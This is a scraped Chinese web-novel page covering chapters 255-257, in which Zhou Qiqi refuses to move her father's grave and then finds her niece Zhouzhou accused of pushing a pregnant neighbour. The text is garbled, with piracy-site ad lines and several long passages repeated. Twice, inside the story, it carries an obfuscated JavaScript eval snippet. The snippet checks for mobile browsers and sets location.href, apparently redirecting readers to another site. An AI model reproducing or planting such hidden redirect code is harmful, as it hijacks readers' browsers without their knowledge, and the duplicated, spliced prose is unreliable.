第五天清早,众人收拾行李的动静在小院里窸窣作响。 大家都等着回城,但周淑华却没心思收拾东西。 案子结了,恶人伏法,可另一桩事,她还没死心。 她在屋子里踌躇半晌,还是走向村长家,周柒柒暂住的西厢房。 这几天,姑侄俩还是说过不少话的,但那些话都是为了案子说的,私底下一句贴己话都没说过,那层无形的隔阂一直都在。 周淑华手心有些汗湿,轻轻敲了门。 屋里,周柒柒刚吃过早饭,她的东西沈淮川昨晚就帮着收拾好了,这会儿她正伏在炕桌上,铅笔在图纸上沙沙地勾画。 阳光透过糊了旧报纸的窗户格子,落在她专注的侧脸上。 听见动静,她抬眼,看见门口局促不安的周淑华,略一沉吟,点了点头:“进来吧。 周淑华心头猛地一跳,赶紧迈进去,带上了门。 “柒柒. 周淑华搓了搓手,声音有些颤抖, “案子了了,我这心里头,还是放不下,这趟出来,本就是为了寻你爹建邦的下落。 她看着周柒柒平静无波的脸,鼓起勇气, “如今.人找到了,我这个做姐姐的,想想把他的坟迁回老家去,俗话说的话,落叶归根,迁回去,也好让我们的爹娘安心。 周柒柒握着铅笔的手指顿住了,抬起头,眉头微微蹙起。 周淑华见她这神色,心往下沉了沉,但还是急忙补充道: “当然了,柒柒,你放心!不止是建邦的坟,还有你母亲齐琳,我那苦命的弟妹,也一并迁回去!虽然素未谋面,但她是我们周家明媒正娶的媳妇,我们周家认她!还有还有齐三娘,柒柒你的外婆,要是愿意,也一起迁,咱们都一并迁了,钱我来讨,规格啥的,都用最好的 她自觉已做了极大的让步,眼巴巴地望着周柒柒,等着她点头。 可周柒柒缓缓地、却无比坚定地摇了摇头。 “不迁。 两个字,冷冷地砸在地上。 你的朋友正在书荒,快去帮帮他吧 第255章 没有原谅 “不不迁?” 周淑华没想到周柒柒会这么干脆利落地拒绝,一点情面都不留,顿时愣住了,心里有些难受,但她还是咬着唇卑微道: “柒柒,我知道你心里对我有疙瘩,可这是关于你爹周建邦的!他.他和我们之间的恩怨无关啊!你再好好想想!不要因为我们的恩怨,就忽略了你爹的意愿.” 周柒柒安静地听她说完,才放下铅笔,目光沉静地看过来: “我就是站在我爹的立场,才说不迁的。” 她起身,走到炕柜边,小心翼翼地打开一个上了锁的小木匣子,从最底层取出一个信封。 这正是那天从瓦罐里取出的另一封信,交证据时也一并交给了**,周淑华一直没机会细看,只知道是关于玉佩的。 周柒柒将信纸抽出,递了过去。 周淑华双手微颤地接过。 信纸上的字迹,比起托孤那封更加潦草、虚弱,显然是周建邦油尽灯枯之际,强撑着写下的。 内容很简短,大致就是告诉周柒柒,这玉佩是他有关他的身世。 一开始,他心里一直有执念,想要寻找自己的亲人,可没想到,这个执念却导致齐三娘劳心奔波,一病不起,最终病故。 周水生痛彻心扉,才发现,寻亲并不是那么重要,珍惜眼前人才最重要的。 【我现在的名字叫做周水生,是齐琳的男人,这一生虽然短暂,但是我过得心满意足,此生足矣。】 将齐三娘埋葬之后,他就把玉佩埋在了瓦罐里,从此寻亲随缘,不再强求。 等到周柒柒长大后,拿到这块玉佩,也一切随缘,想要寻亲就去寻,不想寻亲,就把这块玉佩当作一个念想。 【柒柒,如果你当真帮我寻到了亲人,代爹爹告诉他们,我的名字叫周水生,由水而生,一生幸福,勿念。】 落款是,周水生。 信纸上的字迹,周淑华异常熟悉,苍劲有力,但带着一种莫名的温柔和沉静。 周淑华一个字一个字地看完,滚烫的泪水再也忍不住,汹涌而出,她怕眼泪落下打湿信纸,赶紧拿出手帕擦了擦。 可眼泪却越擦越多,怎么都止不住。 二十多年了. 那个被认定早已去世的弟弟, 原来一直活着,还活得如此清醒,如此.幸福。 他放下了寻根的执念,选择了“周水生”这个名字,选择了齐琳和这片土地带来的安宁。 而她们周家,却一直被“周建邦已死”的心魔困了二十多年。 “好好.柒柒,你说得对。” 过了许久,周淑华才抬起泪眼婆娑的脸,声音哽咽沙哑: “他他叫周水生,是姑姑糊涂了,一直困在自己的念想里,他在这里,有琳妹子,有三娘,有他珍惜的一切.他愿意留在这里。” 她深吸一口气,像是放下了千斤重担,“姑姑.愿意成全他,就让他.当幸福快乐的周水生吧。” 她抹了把泪,看着周柒柒,眼神里带着恳求: “那….坟不迁了,可那两个坟头.实在有些太简陋了。柒柒,你能不能,让姑姑尽点心意,给水生和你娘、还有齐三娘,重新修个像样的墓,立块碑,成吗?” 周柒柒看着周淑华通红的眼睛里那份小心翼翼的期盼和释然后的恳切,紧绷的嘴角终于柔和了一丝。 “现在的院子和棺椁不要动了,就在原地挺好的。” 她声音平静,却不再冰冷,“你想修那就在周围建个院子,立碑吧。” 周淑华一听,黯淡的眼睛瞬间亮了起来,像是得到了天大的恩准,连声道: “好!好!不动不动!就修院子,立碑!好好修!只要你同意姑姑出这份力,姑姑心里就.就踏实了!” 阳光透过窗棂,正好落在周淑华手中那封染着岁月痕迹的信纸上,“周水生”三个字在光线下显得格外清晰。 这件事定下来了,屋子里一时安静下来,气氛有些尴尬。 好在这个时候,屋外传来一阵脚步声。 沈淮川高大的身影走了进来,他手里拿着几张写满字的纸,一边掀着门帘一边说道, “建墓园的人联系好了,是县里有经验的班子,材料工费都列在这里。” 说完进来才看到周淑华的身影,点点头打了声招呼,“师母。” 周淑华一愣,听到沈淮川刚才说的那句,下意识看了几眼那几张还带着点墨香的纸。 她这才明白过来,原来柒柒自己早就打算给爹娘修墓了! 一股说不清 的滋味涌上心头,像被什么堵住了喉咙。 这趟出来,从寻亲到翻案,再到如今这修坟立碑,桩桩件件,竟都是这个被她百般挑剔过的侄女在默默安排周全。 她心思竟这样细密 自己当初怎么就瞎了眼呢? 周淑华心里翻江倒海,猛地想起初见周柒柒时那股莫名的心口绞痛。 那会儿她只觉得是这姑娘惹她厌烦,是病也是气。 现在回头想想,那分明是她和老周家一脉相承的、家族传下来的心疾! 是弟弟建邦. 不,是水生,是水生在冥冥之中,用这血脉相连的疼痛提醒她——眼前这人,是亲人啊! 是她被猪油蒙了心,硬生生把这骨肉相连的暗示,当成了厌恶的凭证。 一步错,步步错,才让两人间结了这么厚的冰,不知道要怎么才能融化。 就在这个时候—— “把资料给姑姑吧。” 周柒柒清凌凌的声音响起。 她没看周淑华,目光落在沈淮川身上,“这事儿,就劳烦姑姑费心了。” “哎!好!好!” 周淑华像是得了特赦令,连忙应声, “你放心,姑姑一定.一定办得妥妥当当!” 她声音有些发颤,带着一种急于证明什么的迫切。 她没想到,周柒柒居然会主动叫她姑姑! 她下意识地将手里那封水生的遗书,小心翼翼地递向周柒柒。 这信太珍贵,她不敢多留。 周柒柒却没接。 她沉默地从炕桌上的小木匣里,取出那个油纸信封,连同周淑华递过来的信,一起轻轻推了过去。 “爹爹写了两封信,” 她的声音平静无波,“一封是给我的,我收着。这一封.” 她的目光在那写着“勿念”的信纸上停顿了一瞬, “.上面的话,有大半是说给周家人听的,姑姑留着吧。” 周淑华的手猛地一抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158702|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几乎不敢相信自己的耳朵。 她看着被推回来的信,又看看周柒柒那张看不出悲喜的脸,巨大的酸楚和一丝受宠若惊的暖流猛地冲上眼眶。 她赶紧低下头,一连叠声地应着: “谢谢.柒柒, 谢谢. 手指珍重无比地将那薄薄的信纸重新折好,连同油纸信封一起,紧紧捂在心口,仿佛捧着失而复得的稀世珍宝。 沈淮川适时地将施工资料也递到她手里: “师母,我们明天一早就得走了。您看这些安排. “没问题!今天就弄好!我这就去! 周淑华像被注入了强心剂,立刻挺直了腰板,将那叠资料和捂在心口的信都牢牢收好,转身就风风火火地往外走,脚步急切。 周柒柒看着她离去的背影,又对沈淮川说道,“淮川,你去跟村长叔说一声,让他帮着一起安排,姑姑一家子人生地不熟的 沈淮川走到她身边,低声道:“还是心软了? 周柒柒摇摇头,目光依旧平静地看着院子里那棵老槐树,轻声说道。 “一码归一码。 “我说过的,我的字典里,没有‘原谅’那两个字,我还没原谅周淑华。 她顿了顿,目光变得悠远,看向了老宅的方向: “但我终究是周水生的女儿,这些事,我这个做女儿的,得替他周全,就当.是尽孝了,等回了城里,我们还是不相干的陌生人。 沈淮川没再说话,只是伸出手,无声地握了握她微凉的手指,表示理解。 他的目光不经意地扫过微微晃动的门帘缝隙,那里,似乎有一片衣角飞快地隐去。 门外,周淑华背靠着冰冷的土墙,脸色惨白如纸,像瞬间被抽干了所有的力气。 她本是想起还有个细节想问柒柒的意见,折返回来,却猝不及防地听到了那几句冰冷的话。 “.字典里没有‘原谅’. “.还是陌生人. 她原本以为,柒柒终于肯和她冰释前嫌了,可没想到,她居然还是. 巨大的失落和难堪让她浑身发冷,面如死灰。 屋里传来轻微的脚步声,她猛地惊醒,像怕被里面的人发现自己的狼狈,慌忙转身。 周淑华几乎是逃也似地冲进了村委会临时落脚的屋子,背靠着关上的门板,胸口剧烈起伏,脸上一点血色都没有,嘴唇哆嗦着,眼神发直。 “妈?您怎么了? 正在捆扎行李的雷玉华吓了一跳,赶紧放下手里的绳子迎上来。 刚才出去时,妈明明还带着点如释重负的急切,怎么转眼就跟丢了魂似的? “是不是柒柒她. 雷玉华心直口快,后半句咽了回去,但意思很明显。 坐在桌边收拾东西**政委也皱紧了眉头,沉声道: “淑华?脸色怎么这么差?我就说该陪你一道去。 他站起身,想扶妻子坐下。 周淑华摆摆手,自己撑着门板滑坐到旁边的条凳上: “不关柒柒的事. 她勉强扯了扯嘴角,比哭还难看,“是我自己.白高兴了一场。 她把刚才发生的事情简单复述了一遍。 雷政委张了张嘴,想说什么安慰的话,却发现喉咙发干。 第256章 她推了红娟阿姨 他这辈子枪林弹雨里闯,处理过无数棘手事,偏偏对这种剪不断理还乱的家务情仇,束手无策。 憋了半天,只能干巴巴地说: “往好了想,至少,建邦,啊不,应该说是,水生兄弟,咱们是找着了,也弄清楚了前因后果。柒柒那边.唉,这种事强求不来,咱们该做的、能做的,都尽力了。剩下的,只能等她自己慢慢想通吧。 “等? 雷玉华一听就不乐意了,圆溜溜的眼睛瞪着她爸,小嘴叭叭地开始反驳, “爸,您这想法太消极了!等就能等来原谅?我看柒柒妹妹根本不是心肠硬的人!她就是嘴硬!像那河蚌,壳子又冷又硬,里头肉软着呢!您想想她为爹娘做的事儿,多周全?多上心?她现在这样,就跟就跟闹别扭的小年轻似的,心里头那根刺没**,过不去自己那道坎儿! 她越说越觉得是这么回事,走到周淑华身边蹲下,拉着母亲冰凉的手,声音放软了些,带着点哄劝的意味: “妈,错儿呢,是咱们当初犯下的,伤了人家的心。既然是咱们的错,那就得咱们主动去修补啊!像您这样,人家不理您,您就躲一边干等着,那刺儿能自己掉出来?我看不能!您得拿出诚意来,真心实意地对人家好!甭管她最后领不领情,原不原谅,至少您尽心了,不留遗憾了,是不是这个理儿? 说着,她眼珠一转,促狭地瞟向自己老爹,故意拔高了点声音: “爸,您说对吧?这道理您最有经验了!当初追我妈那会儿,不也是靠着‘死缠烂打’,一片真心才把人感动的嘛! 她特意把“死缠烂打四个字咬得特别清晰,末了又补充道。 “追求人家,就得有个追求的样子,总不能啥也不出,就干等着吧? “咳!咳咳! 雷政委正端起茶缸喝水,差点一口呛着,黝黑的脸膛“腾地一下就红了,连耳朵根都透着窘迫,放下茶缸佯怒道: “你这丫头!胡说八道什么!我.我什么时候死缠烂打了?我那叫精诚所至! 他越说声音越小,眼神躲闪着不敢看妻子。 周淑华看着丈夫难得一见的窘态,再瞧着女儿俏皮又认真的眼神,堵在心口的那股郁气,竟真的散开了一些。 一丝温柔的笑意终于浮上她苍白的嘴角。 “玉华说得对。” 周淑华深吸一口气像是下定了决心眼神重新聚焦透出一股韧劲儿。 她松开女儿的手站起身拿起沈淮川给她的那份墓园修建资料。 “不能等也等不起我一定要对柒柒好就从眼前这件事开始吧。” 她翻开资料拿起桌上的铅笔眼神变得专注而锐利。 雷政委和雷玉华对视一眼都从对方眼中看到了些许欣慰和松快。 雷玉华悄悄对她爸竖了个大拇指。 周淑华一旦投入效率惊人。 当天下午 图纸铺开条理分明预算清晰需要村里协调的事项也列得明明白白。 村长看得直咂嘴连连点头:“周教授您这.太专业了!放心这事儿包在我身上!” 有了村长的全力配合和周淑华这个“总指挥”的坐镇事情推进得飞快。 第二天一早当周柒柒和沈淮川先行离开的时候一行人收拾停当路过老宅附近的山坡。 远远地就听见那边传来热火朝天的动静。 夯土的号子声、凿石头的叮当声、还有工人们大声吆喝指挥的声音混成一片生机勃勃的喧腾。 十几个精壮的汉子正挥汗如雨地平整土地搬运青砖几个老石匠围着几块大青石比比划划。 周淑华套了件金花婶的旧棉袄也在一边忙活着。 她和雷政委现在也没什么事要等墓园收拾完才回去。 看着车子驶过她笑着冲着周柒柒挥了挥手笑容真挚。 周柒柒微微挑眉有些惊讶和开车的沈淮川对视一眼眼中隐隐有笑意。 后座的雷玉华把这一切都看在眼里得意地晃了晃脑袋打开车窗和周淑华打了个招呼。 这一趟前前后后总共花费了七八天。 回到军属区的时候已经是傍晚六点多了。 沈淮川直接去了市军区一趟他这一趟走了太久年底的大比武眼看着就要开始了有很多事情要处理一刻也不能停歇。 周柒柒把东西放下之后第一时间 就去了隔壁朱莹莹家接舟舟。 朱莹莹是个宅女工作性质又是翻译平时除了下午吃完饭去操场上遛弯之外 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)很少出门基本都在家里。 今天是周日她肯定是带着舟舟在家的。 但是出乎预料的是今天朱莹莹家却是大门紧闭。 周柒柒想着可能是去邓翠香家了但是转了一圈邓翠香家也没人。 隔壁王嫂子说姜向海要去外地参加数学竞赛邓翠香亲自陪着去了还没回来呢。 周柒柒隐隐感觉有些不妙想着要去给沈淮川打个电话在电话室门口遇到了刚从里面出来的赵大萌和赵二萌。 两人一看周柒柒一脸着急的样子一猜就知道她在找舟舟赶紧跟她说道: “周阿姨我们刚才看见朱阿姨带着舟舟去卫生所了!” 周柒柒顿时急了: “卫生所?舟舟受伤了?” 小二萌摇了摇头抢着回答道: “不是舟舟妹妹是红娟阿姨她肚子疼就一起去卫生所了.” 周柒柒更疑惑了: “李红娟?她肚子疼关舟舟什么事儿?” 二萌心直口快直接说道“是舟舟推的红娟阿姨当然关她的事了。” “舟舟推李红娟?” 周柒柒的心猛地一沉。 她声音有些发紧目光紧紧锁住赵二萌“二萌你看清楚了?舟舟为什么推她?” 赵大萌毕竟年纪大些看着周柒柒骤然变了的脸色赶紧拉了妹妹一把小声补充道: “周阿姨我们.我们就是远远看见红娟阿姨突然捂着肚子蹲下了朱阿姨带着舟舟在旁边好像很着急的样子然后红娟阿姨指着舟舟说了句什么.后来朱阿姨就带着舟舟扶着红娟阿姨往卫生所去了。具体.具体咋回事我们也没听清。” “是啊是啊” 赵二萌也意识到自己刚才嘴快可能说错了话缩了缩脖子 “就看到红娟阿姨指着舟舟脸都白了骂了好多句特别难听朱阿姨说不过她” 周柒柒眉头紧皱。 舟舟才七岁平时乖巧得很从来不主动去招惹别人怎么会去推李红娟?还是推肚子? 李红娟那肚子周柒柒 心里咯噔一下不好的预感更强烈了。 自从之前卖花那事儿后邱春芳被赶回了村里和她关系好的那几个军嫂在军属区沉寂了好一阵子平时都不敢大声说话。 也就李红娟仗着自己刚怀上没多久的“金贵”肚子显摆走路都端着架势。 这是趁着她不在忍不住出来作妖了? “谢谢你们!” 周柒柒顾不得多想转身就往卫生所方向跑。 卫生所离家属区不远是一排平房。 周柒柒刚跑到门口就听见里面传来李红娟带着哭腔的声音: “.哎哟!我的肚子!疼死我了!朱莹莹你今天必须得给我个说法!沈渡舟小小年纪心怎么这么狠哪!居然敢推我的肚子!是跟你学的还是跟周柒柒学的?我这好不容易怀上的要是有个三长两短.呜呜呜.我就和你们拼了!” 另一个声音是朱莹莹的带着压抑的怒气但努力保持着冷静: “李红娟同志!事情还没弄清楚请你不要乱说话!舟舟才五岁她怎么可能故意推你?再说了当时是你先开口骂人的” “我乱说话?” 李红娟的声音更尖利了 “那么多人都看见了!就是她推的我!哎哟.护士!护士您快看看我这肚子坠得慌.” 周柒柒一把掀开挂着白布帘子的门冲了进去。 不大的诊室里李红娟半躺在靠墙的检查床上捂着肚子哎哟连天脸色确实有些发白但那双眼睛滴溜溜地转瞅着就没安好心。 她看到周柒柒进来吓了一跳但很快调整了过来捂着肚子挤着眼睛就开始哭嚎。 她身边站着小雷、小锋两个孩子也跟着不停地哭。 他们的对面站着舟舟明明受冤枉、被骂的是她但她却只是低着头乖巧安静镇定自若完全不像一个七岁的孩子。 “柒柒!” 朱莹莹看到周柒柒像是看到了主心骨眼圈也红了“你可算回来了!” 舟舟听到熟悉的声音猛地抬起头奔了过来。 周柒柒几步上前把舟舟紧紧抱住这才发现小姑娘表面看上去镇定实际上身体却在轻轻颤抖。 她轻轻拍着舟舟的背低声安抚:“舟舟不怕婶婶在。” 同时锐利的目光扫向床上还在哼哼唧唧的李红娟。 “周柒柒!你来得正好!” 李红娟像是找到了正主 “你问问你家这宝贝侄女!她干的好事!刚才护士都说了我伤的不轻!你们必须全权负责!” 她一边说着一边朝着里面的小护士使了个眼色。 “红娟姐姐马上来了~!你稍等~” 里面护士的声音隐隐传来听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔”一下不会吧这小小的卫生所刚送走了个林瑶又要来个幺蛾子? 你的朋友正在书荒,快去帮帮他吧 心里咯噔一下,不好的预感更强烈了。 自从之前卖花那事儿后,邱春芳被赶回了村里,和她关系好的那几个军嫂在军属区沉寂了好一阵子,平时都不敢大声说话。 也就李红娟,仗着自己,刚怀上没多久的“金贵 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节)肚子显摆,走路都端着架势。 这是趁着她不在,忍不住出来作妖了? “谢谢你们! 周柒柒顾不得多想,转身就往卫生所方向跑。 卫生所离家属区不远,是一排平房。 周柒柒刚跑到门口,就听见里面传来李红娟带着哭腔的声音: “.哎哟!我的肚子!疼死我了!朱莹莹,你今天必须得给我个说法!沈渡舟小小年纪,心怎么这么狠哪!居然敢推我的肚子!是跟你学的,还是跟周柒柒学的?我这好不容易怀上的,要是有个三长两短.呜呜呜.我就和你们拼了! 另一个声音是朱莹莹的,带着压抑的怒气,但努力保持着冷静: “李红娟同志!事情还没弄清楚,请你不要乱说话!舟舟才五岁,她怎么可能故意推你?再说了,当时是你先开口骂人的 “我乱说话? 李红娟的声音更尖利了, “那么多人都看见了!就是她推的我!哎哟.护士!护士您快看看,我这肚子坠得慌. 周柒柒一把掀开挂着白布帘子的门,冲了进去。 不大的诊室里,李红娟半躺在靠墙的检查床上,捂着肚子哎哟连天,脸色确实有些发白,但那双眼睛滴溜溜地转,瞅着就没安好心。 她看到周柒柒进来,吓了一跳,但很快调整了过来,捂着肚子,挤着眼睛就开始哭嚎。 她身边,站着小雷、小锋两个孩子,也跟着不停地哭。 他们的对面,站着舟舟,明明受冤枉、被骂的是她,但她却只是低着头,乖巧安静,镇定自若,完全不像一个七岁的孩子。 “柒柒! 朱莹莹看到周柒柒,像是看到了主心骨,眼圈也红了,“你可算回来了! 舟舟听到熟悉的声音,猛地抬起头,奔了过来。 周柒柒几步上前,把舟舟紧紧抱住,这才发现,小姑娘表面看上去镇定,实际上身体却在轻轻颤抖。 她轻轻拍着舟舟的背,低声安抚:“舟舟不怕,婶婶在。 同时,锐利的目光扫向床上还在哼哼唧唧的李红娟。 “周柒柒!你来得正好! 李红娟像是找到了正主,手指差点戳到舟舟身上, “你问问你家这宝贝侄女!她干的好事!刚才护士都说了,我伤的不轻!你们必须全权负责! 她一边说着,一边朝着里面的小护士使了个眼色。 “红娟姐姐,马上来了~!你稍等~ 里面护士的声音隐隐传来,听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔一下,不会吧,这小小的卫生所刚送走了个林瑶,又要来个幺蛾子? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 心里咯噔一下,不好的预感更强烈了。 自从之前卖花那事儿后,邱春芳被赶回了村里,和她关系好的那几个军嫂在军属区沉寂了好一阵子,平时都不敢大声说话。 也就李红娟,仗着自己,刚怀上没多久的“金贵肚子显摆,走路都端着架势。 这是趁着她不在,忍不住出来作妖了? “谢谢你们! 周柒柒顾不得多想,转身就往卫生所方向跑。 卫生所离家属区不远,是一排平房。 周柒柒刚跑到门口,就听见里面传来李红娟带着哭腔的声音: “.哎哟!我的肚子!疼死我了!朱莹莹,你今天必须得给我个说法!沈渡舟小小年纪,心怎么这么狠哪!居然敢推我的肚子!是跟你学的,还是跟周柒柒学的?我这好不容易怀上的,要是有个三长两短.呜呜呜.我就和你们拼了! 另一个声音是朱莹莹的,带着压抑的怒气,但努力保持着冷静: “李红娟同志!事情还没弄清楚,请你不要乱说话!舟舟才五岁,她怎么可能故意推你?再说了,当时是你先开口骂人的 “我乱说话? 李红娟的声音更尖利了, “那么多人都看见了!就是她推的我!哎哟.护士!护士您快看看,我这肚子坠得慌. 周柒柒一把掀开挂着白布帘子的门,冲了进去。 不大的诊室里,李红娟半躺在靠墙的检查床上,捂着肚子哎哟连天,脸色确实有些发白,但那双眼睛滴溜溜地转,瞅着就没安好心。 她看到周柒柒进来,吓了一跳,但很快调整了过来,捂着肚子,挤着眼睛就开始哭嚎。 她身边,站着小雷、小锋两个孩子,也跟着不停地哭。 他们的对面,站着舟舟,明明受冤枉、被骂的是她,但她却只是低着头,乖巧安静,镇定自若,完全不像一个七岁的孩子。 “柒柒! 朱莹莹看到周柒柒,像是看到了主心骨,眼圈也红了,“你可算回来了! 舟舟听到熟悉的声音,猛地抬起头,奔了过来。 周柒柒几步上前,把舟舟紧紧抱住,这才发现,小姑娘表面看上去镇定,实际上身体却在轻轻颤抖。 她轻轻拍着舟舟的背,低声安抚:“舟舟不怕,婶婶在。 同时,锐利的目光扫向床上还在哼哼唧唧的李红娟。 “周柒柒!你来得正好! 李红娟像是找到了正主,手指差点戳到舟舟身上, “你问问你家这宝贝侄女!她干的好事!刚才护士都说了,我伤的不轻!你们必须全权负责! 她一边说着,一边朝着里面的小护士使了个眼色。 “红娟姐姐,马上来了~!你稍等~ 里面护士的声音隐隐传来,听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔一下,不会吧,这小小的卫生所刚送走了个林瑶,又要来个幺蛾子? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 心里咯噔一下,不好的预感更强烈了。 自从之前卖花那事儿后,邱春芳被赶回了村里,和她关系好的那几个军嫂在军属区沉寂了好一阵子,平时都不敢大声说话。 也就李红娟,仗着自己,刚怀上没多久的“金贵肚子显摆,走路都端着架势。 这是趁着她不在,忍不住出来作妖了? “谢谢你们! 周柒柒顾不得多想,转身就往卫生所方向跑。 卫生所离家属区不远,是一排平房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“红娟姐姐,马上来了~!你稍等~ 里面护士的声音隐隐传来,听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔一下,不会吧,这小小的卫生所刚送走了个林瑶,又要来个幺蛾子? 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 心里咯噔一下不好的预感更强烈了。 自从之前卖花那事儿后邱春芳被赶回了村里和她关系好的那几个军嫂在军属区沉寂了好一阵子平时都不敢大声说话。 也就李红娟仗着自己刚怀上没多久的“金贵”肚子显摆走路都端着架势。 这是趁着她不在忍不住出来作妖了? “谢谢你们!” 周柒柒顾不得多想转身就往卫生所方向跑。 卫生所离家属区不远是一排平房。 周柒柒刚跑到门口就听见里面传来李红娟带着哭腔的声音: “.哎哟!我的肚子!疼死我了!朱莹莹你今天必须得给我个说法!沈渡舟小小年纪心怎么这么狠哪!居然敢推我的肚子!是跟你学的还是跟周柒柒学的?我这好不容易怀上的要是有个三长两短.呜呜呜.我就和你们拼了!” 另一个声音是朱莹莹的带着压抑的怒气但努力保持着冷静: “李红娟同志!事情还没弄清楚请你不要乱说话!舟舟才五岁她怎么可能故意推你?再说了当时是你先开口骂人的” “我乱说话?” 李红娟的声音更尖利了 “那么多人都看见了!就是她推的我!哎哟.护士!护士您快看看我这肚子坠得慌.” 周柒柒一把掀开挂着白布帘子的门冲了进去。 不大的诊室里李红娟半躺在靠墙的检查床上捂着肚子哎哟连天脸色确实有些发白但那双眼睛滴溜溜地转瞅着就没安好心。 她看到周柒柒进来吓了一跳但很快调整了过来捂着肚子挤着眼睛就开始哭嚎。 她身边站着小雷、小锋两个孩子也跟着不停地哭。 他们的对面站着舟舟明明受冤枉、被骂的是她但她却只是低着头乖巧安静镇定自若完全不像一个七岁的孩子。 “柒柒!” 朱莹莹看到周柒柒像是看到了主心骨眼圈也红了 舟舟听到熟悉的声音猛地抬起头奔了过来。 周柒柒几步上前把舟舟紧紧抱住这才发现小姑娘表面看上去镇定实际上身体却在轻轻颤抖。 她轻轻拍着舟舟的背低声安抚:“舟舟不怕婶婶在。” 同时锐利的目光扫向床上还在哼哼唧唧的李红娟。 “周柒柒!你来得正好!” 李红娟像是找到了正主手指差点戳到舟舟身上 “你问问你家这宝贝侄女!她干的好事!刚才护士都说了我伤的不轻!你们必须全权负责!” 她一边说着一边朝着里面的小护士使了个眼色。 “红娟姐姐马上来了~!你稍等~” 里面护士的声音隐隐传来听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔”一下不会吧这小小的卫生所刚送走了个林瑶又要来个幺蛾子? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 心里咯噔一下不好的预感更强烈了。 自从之前卖花那事儿后邱春芳被赶回了村里和她关系好的那几个军嫂在军属区沉寂了好一阵子平时都不敢大声说话。 也就李红娟仗着自己刚怀上没多久的“金贵”肚子显摆走路都端着架势。 这是趁着她不在忍不住出来作妖了? “谢谢你们!” 周柒柒顾不得多想转身就往卫生所方向跑。 卫生所离家属区不远是一排平房。 周柒柒刚跑到门口就听见里面传来李红娟带着哭腔的声音: “.哎哟!我的肚子!疼死我了!朱莹莹你今天必须得给我个说法!沈渡舟小小年纪心怎么这么狠哪!居然敢推我的肚子!是跟你学的还是跟周柒柒学的?我这好不容易怀上的要是有个三长两短.呜呜呜.我就和你们拼了!” 另一个声音是朱莹莹的带着压抑的怒气但努力保持着冷静: “李红娟同志!事情还没弄清楚请你不要乱说话!舟舟才五岁她怎么可能故意推你?再说了当时是你先开口骂人的” “我乱说话?” 李红娟的声音更尖利了 “那么多人都看见了!就是她推的我!哎哟.护士!护士您快看看我这肚子坠得慌.” 周柒柒一把掀开挂着白布帘子的门冲了进去。 不大的诊室里李红娟半躺在靠墙的检查床上捂着肚子哎哟连天脸色确实有些发白但那双眼睛滴溜溜地转瞅着就没安好心。 她看到周柒柒进来吓了一跳但很快调整了过来捂着肚子挤着眼睛就开始哭嚎。 她身边站着小雷、小锋两个孩子也跟着不停地哭。 他们的对面站着舟舟 “柒柒!” 朱莹莹看到周柒柒像是看到了主心骨眼圈也红了“你可算回来了!” 舟舟听到熟悉的声音猛地抬起头奔了过来。 周柒柒几步上前把舟舟紧紧抱住这才发现小姑娘表面看上去镇定实际上身体却在轻轻颤抖。 她轻轻拍着舟舟的背低声安抚:“舟舟不怕婶婶在。” 同时锐利的目光扫向床上还在哼哼唧唧的李红娟。 “周柒柒!你来得正好!” 李红娟像是找到了正主手指差点戳到舟舟身上 “你问问你家这宝贝侄女!她干的好事!刚才护士都说了我伤的不轻!你们必须全权负责!” 她一边说着一边朝着里面的小护士使了个眼色。 “红娟姐姐马上来了~!你稍等~” 里面护士的声音隐隐传来听起来好像和李红娟关系不错的样子。 周柒柒心里“咯噔”一下不会吧这小小的卫生所刚送走了个林瑶又要来个幺蛾子? 你的朋友正在书荒,快去帮帮他吧 第257章 翻脸比翻书还快 卫生所里弥漫着消毒水和李红娟刻意放大的哀嚎声。 看着小护士还没出来, 周柒柒把微微发抖的舟舟搂得更紧了些,锐利的目光扫过哭天抢地的李红娟和她那两个跟着干嚎的儿子,最后落在焦急的朱莹莹脸上。 “莹莹,到底怎么回事?” 朱莹莹像是憋了一肚子火,赶紧凑近周柒柒,语速又快又急: “我带舟舟去电话室接电话,李红娟带着她俩儿子也来了,她进去打电话,那俩小子在门口玩,看见其他孩子都围着舟舟说话,没人理他们,就跑去跟李红娟告状了,李红娟一出来,嘴里就不干不净地骂舟舟‘小哑巴’、‘小妖精’.” 朱莹莹气得脸都红了: “舟舟根本没理她,拉着我要走,李红娟不依不饶,上来就一把扯住舟舟的胳膊往回拽!我亲眼看见的,是她硬扯着舟舟往自己肚子上撞!舟舟被她拽得一个踉跄,手都擦破皮了!” 周柒柒心疼地去拉舟舟的手查看。 只见小姑娘细嫩的手臂上果然蹭破了一大块皮,渗着血丝,沾着灰土,看着就疼。 但小姑娘愣是低着头忍着,这会儿被婶婶抓着手,才委屈地扁了扁嘴,但仍旧没掉一滴眼泪。 周柒柒的心像被针扎了一下。 她掏出手帕,小心翼翼地给舟舟擦掉灰尘。 李红娟也看到了小女孩的伤口。 “你放屁!” 她地从检查床上坐起,声音尖利, 